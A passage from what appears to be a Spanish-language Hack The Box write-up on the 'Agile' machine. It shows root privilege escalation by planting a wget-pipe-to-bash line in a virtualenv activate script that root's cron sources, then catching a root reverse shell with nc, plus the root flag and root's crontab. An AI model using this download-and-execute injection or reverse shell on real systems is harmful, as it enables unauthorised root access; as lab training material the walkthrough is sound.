2023/03/24 21:38:01 CMD: UID=1001  PID=26198  | date
2023/03/24 21:38:01 CMD: UID=1001  PID=26197  | /bin/bash /app/test_and_update.sh
2023/03/24 21:38:01 CMD: UID=0     PID=26196  | wget 10.10.14.130
2023/03/24 21:38:01 CMD: UID=0     PID=26194  | /bin/bash -c source /app/venv/bin/activate
2023/03/24 21:38:01 CMD: UID=1001  PID=26201  | /bin/bash /app/test_and_update.sh
2023/03/24 21:38:01 CMD: UID=1001  PID=26200  | /bin/bash /app/test_and_update.sh
2023/03/24 21:38:01 CMD: UID=1001  PID=26199  | ps auxww

Shell

Agregamos nuevamente un comando, esta vez con una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
edwards@agile:~$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly

$(wget -qO- 10.10.14.130/10.10.14.130:1335 | bash )

deactivate () {
    # reset old environment variables
    if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
edwards@agile:~$

Por otro lado colocamos a la escucha en el puerto especificado, logrando obtener acesso como root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 π ~/htb/agile ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.130] from superpass.htb [10.10.11.203] 50054
/bin/sh: 0: can't access tty; job control turned off
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
# ls
app
clean.sh
root.txt
superpass.sql
testdb.sql
# cat root.txt
3172c358244d66d72b922cd719d5ce3d
#

Cronjobs

Tras listar los cronjobs vemos que el usuario root ejecuta source /app/venv/bin/activate y no es como lo suponiamos (por test_and_update.sh).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# crontab -l
SHELL=/bin/bash
BASH_ENV=/etc/bash.bashrc
# m h  dom mon dow   command
#* * * * * curl -sI http://test.superpass.htb | grep -q "HTTP/1.1 200 OK" || service superpass-tests restart
#* * * * * curl -sI http://superpass.htb | grep -q "HTTP/1.1 200 OK" || service superpass restart
* * * * * source /app/venv/bin/activate
*/3 * * * * /root/clean.sh
*/2 * * * * /bin/rm /tmp/*
*/2 * * * * /usr/bin/mysql superpasstest < /root/testdb.sql
*/15 * * * * /usr/bin/mysql superpass < /root/superpass.sql
#

Tambien observamos el cronjob de runner que ejecuta /app/test_and_update.sh.

1
2
3
4
5
6
7
8
# su runner
id
uid=1001(runner) gid=1001(runner) groups=1001(runner)
cd /root
sh: 2: cd: can't cd to /root
crontab -l
# m h  dom mon dow   command
* * * * * /app/test_and_update.sh

Se menciona lo anterior ya que el archivo /app/test_and_update.sh se mostraba en ejecucion por runner y por root, y esto se tomo en cuenta a para la parte de privesc.

UPDATE

Por alguna razon desconocida al intentar ejecutar pspy en una temrinal diferente a Alacritty, en este caso QTerminal, si muestra la ejecucion del cronjob de root /app/venv/bin/activate, quizas sea hora de cambiar de terminal.

Alacritty (arriba) y QTerminal (abajo).
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe